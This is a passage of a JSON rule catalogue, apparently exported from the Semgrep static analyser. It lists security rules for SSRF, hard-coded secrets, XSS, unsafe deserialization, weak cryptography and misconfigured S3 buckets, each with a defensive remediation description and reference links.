vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.net.tainted-django-http-request-aiohttp.tainted-django-http-request-aiohttp)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.django.net.tainted-django-http-request-aiohttp.tainted-django-http-request-aiohttp","id":"python.django.net.tainted-django-http-request-aiohttp.tainted-django-http-request-aiohttp","name":"python.django.net.tainted-django-http-request-aiohttp.tainted-django-http-request-aiohttp","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.net.tainted-django-http-request-aiohttp.tainted-django-http-request-aiohttp"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.reqwest.hardcoded-auth.hardcoded-auth)\n - [https://docs.rs/reqwest/latest/reqwest/](https://docs.rs/reqwest/latest/reqwest/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.reqwest.hardcoded-auth.hardcoded-auth","id":"rust.secrets.reqwest.hardcoded-auth.hardcoded-auth","name":"rust.secrets.reqwest.hardcoded-auth.hardcoded-auth","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.reqwest.hardcoded-auth.hardcoded-auth"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-boto3.tainted-flask-http-request-boto3)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-boto3.tainted-flask-http-request-boto3","id":"python.flask.net.tainted-flask-http-request-boto3.tainted-flask-http-request-boto3","name":"python.flask.net.tainted-flask-http-request-boto3.tainted-flask-http-request-boto3","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.net.tainted-flask-http-request-boto3.tainted-flask-http-request-boto3"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure S3 bucket object is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure S3 bucket object is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-s3-bucket-object-encrypted-with-cmk.aws-s3-bucket-object-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure S3 bucket object is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-s3-bucket-object-encrypted-with-cmk.aws-s3-bucket-object-encrypted-with-cmk","id":"terraform.aws.security.aws-s3-bucket-object-encrypted-with-cmk.aws-s3-bucket-object-encrypted-with-cmk","name":"terraform.aws.security.aws-s3-bucket-object-encrypted-with-cmk.aws-s3-bucket-object-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-s3-bucket-object-encrypted-with-cmk.aws-s3-bucket-object-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected usage of the `notevil` package, which is unmaintained and has vulnerabilities. Using any sort of `eval()` functionality can be very dangerous, but if you must, the `eval` package is an up to date alternative. Be sure that only trusted input reaches an `eval()` function."},"help":{"markdown":"Detected usage of the `notevil` package, which is unmaintained and has vulnerabilities. Using any sort of `eval()` functionality can be very dangerous, but if you must, the `eval` package is an up to date alternative. Be sure that only trusted input reaches an `eval()` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-detect-notevil-usage.express-detect-notevil-usage)\n - [https://github.com/mmckegg/notevil](https://github.com/mmckegg/notevil)\n","text":"Detected usage of the `notevil` package, which is unmaintained and has vulnerabilities. Using any sort of `eval()` functionality can be very dangerous, but if you must, the `eval` package is an up to date alternative. Be sure that only trusted input reaches an `eval()` function."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-detect-notevil-usage.express-detect-notevil-usage","id":"javascript.express.security.audit.express-detect-notevil-usage.express-detect-notevil-usage","name":"javascript.express.security.audit.express-detect-notevil-usage.express-detect-notevil-usage","properties":{"precision":"very-high","tags":["CWE-1104: Use of Unmaintained Third Party Components","LOW CONFIDENCE","OWASP-A06:2021 - Vulnerable and Outdated Components","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-detect-notevil-usage.express-detect-notevil-usage"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.xss.gorilla-no-direct-write-to-responsewriter-traint.gorilla-no-direct-write-to-responsewriter-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"helpUri":"https://semgrep.dev/r/go.gorilla.xss.gorilla-no-direct-write-to-responsewriter-traint.gorilla-no-direct-write-to-responsewriter-taint","id":"go.gorilla.xss.gorilla-no-direct-write-to-responsewriter-traint.gorilla-no-direct-write-to-responsewriter-taint","name":"go.gorilla.xss.gorilla-no-direct-write-to-responsewriter-traint.gorilla-no-direct-write-to-responsewriter-taint","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.xss.gorilla-no-direct-write-to-responsewriter-traint.gorilla-no-direct-write-to-responsewriter-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using CBC with PKCS5Padding is susceptible to padding oracle attacks. A malicious actor could discern the difference between plaintext with valid or invalid padding. Further, CBC mode does not include any integrity checks. Use 'AES/GCM/NoPadding' instead."},"help":{"markdown":"Using CBC with PKCS5Padding is susceptible to padding oracle attacks. A malicious actor could discern the difference between plaintext with valid or invalid padding. Further, CBC mode does not include any integrity checks. Use 'AES/GCM/NoPadding' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.cbc-padding-oracle.cbc-padding-oracle)\n - [https://capec.mitre.org/data/definitions/463.html](https://capec.mitre.org/data/definitions/463.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#cipher-modes](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#cipher-modes)\n - [https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY](https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY)\n","text":"Using CBC with PKCS5Padding is susceptible to padding oracle attacks. A malicious actor could discern the difference between plaintext with valid or invalid padding. Further, CBC mode does not include any integrity checks. Use 'AES/GCM/NoPadding' instead."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.cbc-padding-oracle.cbc-padding-oracle","id":"java.lang.security.audit.cbc-padding-oracle.cbc-padding-oracle","name":"java.lang.security.audit.cbc-padding-oracle.cbc-padding-oracle","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.cbc-padding-oracle.cbc-padding-oracle"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"PayPal Braintree Access Token detected"},"help":{"markdown":"PayPal Braintree Access Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-paypal-braintree-access-token.detected-paypal-braintree-access-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"PayPal Braintree Access Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-paypal-braintree-access-token.detected-paypal-braintree-access-token","id":"generic.secrets.security.detected-paypal-braintree-access-token.detected-paypal-braintree-access-token","name":"generic.secrets.security.detected-paypal-braintree-access-token.detected-paypal-braintree-access-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-paypal-braintree-access-token.detected-paypal-braintree-access-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Hardcoded variable `TESTING` detected. Use environment variables or config files instead"},"help":{"markdown":"Hardcoded variable `TESTING` detected. Use environment variables or config files instead\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_TESTING)\n - [https://bento.dev/checks/flask/avoid-hardcoded-config/](https://bento.dev/checks/flask/avoid-hardcoded-config/)\n - [https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#builtin-configuration-values](https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#builtin-configuration-values)\n - [https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#environment-and-debug-features](https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#environment-and-debug-features)\n","text":"Hardcoded variable `TESTING` detected. Use environment variables or config files instead"},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_TESTING","id":"python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_TESTING","name":"python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_TESTING","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_TESTING"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted user input in `importlib.import_module()` function allows an attacker to load arbitrary code. Avoid dynamic values in `importlib.import_module()` or use a whitelist to prevent running untrusted code."},"help":{"markdown":"Untrusted user input in `importlib.import_module()` function allows an attacker to load arbitrary code. Avoid dynamic values in `importlib.import_module()` or use a whitelist to prevent running untrusted code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.non-literal-import.non-literal-import)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Untrusted user input in `importlib.import_module()` function allows an attacker to load arbitrary code. Avoid dynamic values in `importlib.import_module()` or use a whitelist to prevent running untrusted code."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.non-literal-import.non-literal-import","id":"python.lang.security.audit.non-literal-import.non-literal-import","name":"python.lang.security.audit.non-literal-import.non-literal-import","properties":{"precision":"very-high","tags":["CWE-706: Use of Incorrectly-Resolved Name or Reference","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.non-literal-import.non-literal-import"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Application redirects to a destination URL specified by a user-supplied parameter that is not validated. This could direct users to malicious locations. Consider using an allowlist to validate URLs."},"help":{"markdown":"Application redirects to a destination URL specified by a user-supplied parameter that is not validated. This could direct users to malicious locations. Consider using an allowlist to validate URLs.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.unvalidated-redirect.unvalidated-redirect)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Application redirects to a destination URL specified by a user-supplied parameter that is not validated. This could direct users to malicious locations. Consider using an allowlist to validate URLs."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.unvalidated-redirect.unvalidated-redirect","id":"java.lang.security.audit.unvalidated-redirect.unvalidated-redirect","name":"java.lang.security.audit.unvalidated-redirect.unvalidated-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.unvalidated-redirect.unvalidated-redirect"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"S3 bucket with public read access detected."},"help":{"markdown":"S3 bucket with public read access detected.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.s3-public-read-bucket.s3-public-read-bucket)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket#acl](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket#acl)\n - [https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html#canned-acl](https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html#canned-acl)\n","text":"S3 bucket with public read access detected."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.s3-public-read-bucket.s3-public-read-bucket","id":"terraform.lang.security.s3-public-read-bucket.s3-public-read-bucket","name":"terraform.lang.security.s3-public-read-bucket.s3-public-read-bucket","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.s3-public-read-bucket.s3-public-read-bucket"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. Don't pass untrusted data to this relationship argument, it's getting passed to `eval`."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. Don't pass untrusted data to this relationship argument, it's getting passed to `eval`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.sqlalchemy-fastapi-relationship.sqlalchemy-fastapi-relationship)\n - [https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text](https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. Don't pass untrusted data to this relationship argument, it's getting passed to `eval`."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.sqlalchemy-fastapi-relationship.sqlalchemy-fastapi-relationship","id":"python.fastapi.db.sqlalchemy-fastapi-relationship.sqlalchemy-fastapi-relationship","name":"python.fastapi.db.sqlalchemy-fastapi-relationship.sqlalchemy-fastapi-relationship","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.sqlalchemy-fastapi-relationship.sqlalchemy-fastapi-relationship"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests sent via Unirest to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"help":{"markdown":"Checks for requests sent via Unirest to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.unirest-http-request.unirest-http-request)\n - [https://kong.github.io/unirest-java/#requests](https://kong.github.io/unirest-java/#requests)\n","text":"Checks for requests sent via Unirest to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.unirest-http-request.unirest-http-request","id":"problem-based-packs.insecure-transport.java-stdlib.unirest-http-request.unirest-http-request","name":"problem-based-packs.insecure-transport.java-stdlib.unirest-http-request.unirest-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.unirest-http-request.unirest-http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)"},"help":{"markdown":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.scala-jwt.security.jwt-hardcode.scala-jwt-hardcoded-secret)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)"},"helpUri":"https://semgrep.dev/r/scala.scala-jwt.security.jwt-hardcode.scala-jwt-hardcoded-secret","id":"scala.scala-jwt.security.jwt-hardcode.scala-jwt-hardcoded-secret","name":"scala.scala-jwt.security.jwt-hardcode.scala-jwt-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: scala.scala-jwt.security.jwt-hardcode.scala-jwt-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"When using Jackson to marshall/unmarshall JSON to Java objects, enabling default typing is dangerous and can lead to RCE. If an attacker can control `$JSON` it might be possible to provide a malicious JSON which can be used to exploit unsecure deserialization. In order to prevent this issue, avoid to enable default typing (globally or by using \"Per-class\" annotations) and avoid using `Object` and other dangerous types for member variable declaration which creating classes for Jackson based deserialization."},"help":{"markdown":"When using Jackson to marshall/unmarshall JSON to Java objects, enabling default typing is dangerous and can lead to RCE. If an attacker can control `$JSON` it might be possible to provide a malicious JSON which can be used to exploit unsecure deserialization. In order to prevent this issue, avoid to enable default typing (globally or by using \"Per-class\" annotations) and avoid using `Object` and other dangerous types for member variable declaration which creating classes for Jackson based deserialization.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.jackson-unsafe-deserialization.jackson-unsafe-deserialization)\n - [https://swapneildash.medium.com/understanding-insecure-implementation-of-jackson-deserialization-7b3d409d2038](https://swapneildash.medium.com/understanding-insecure-implementation-of-jackson-deserialization-7b3d409d2038)\n - [https://cowtowncoder.medium.com/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062](https://cowtowncoder.medium.com/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062)\n - [https://adamcaudill.com/2017/10/04/exploiting-jackson-rce-cve-2017-7525/](https://adamcaudill.com/2017/10/04/exploiting-jackson-rce-cve-2017-7525/)\n","text":"When using Jackson to marshall/unmarshall JSON to Java objects, enabling default typing is dangerous and can lead to RCE. If an attacker can control `$JSON` it might be possible to provide a malicious JSON which can be used to exploit unsecure deserialization. In order to prevent this issue, avoid to enable default typing (globally or by using \"Per-class\" annotations) and avoid using `Object` and other dangerous types for member variable declaration which creating classes for Jackson based deserialization."},"helpUri":"https://semgrep.dev/r/java.lang.security.jackson-unsafe-deserialization.jackson-unsafe-deserialization","id":"java.lang.security.jackson-unsafe-deserialization.jackson-unsafe-deserialization","name":"java.lang.security.jackson-unsafe-deserialization.jackson-unsafe-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A8:2017 Insecure Deserialization","OWASP-A8:2021 Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.jackson-unsafe-deserialization.jackson-unsafe-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-jsonpickle-django.tainted-jsonpickle-django)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://github.com/jsonpickle/jsonpickle#jsonpickle](https://github.com/jsonpickle/jsonpickle#jsonpickle)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-jsonpickle-django.tainted-jsonpickle-django","id":"python.django.deserialization.tainted-jsonpickle-django.tainted-jsonpickle-django","name":"python.django.deserialization.tainted-jsonpickle-django.tainted-jsonpickle-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-jsonpickle-django.tainted-jsonpickle-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of the MD4 hashing algorithm was identified which is considered insecure. MD4 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt."},"help":{"markdown":"The use of the MD4 hashing algorithm was identified which is considered insecure. MD4 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-hashing-algorithm-md4.insecure-hashing-algorithm-md4)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"The use of the MD4 hashing algorithm was identified which is considered insecure. MD4 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-hashing-algorithm-md4.insecure-hashing-algorithm-md4","id":"swift.commoncrypto.insecure-hashing-algorithm-md4.insecure-hashing-algorithm-md4","name":"swift.commoncrypto.insecure-hashing-algorithm-md4.insecure-hashing-algorithm-md4","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic 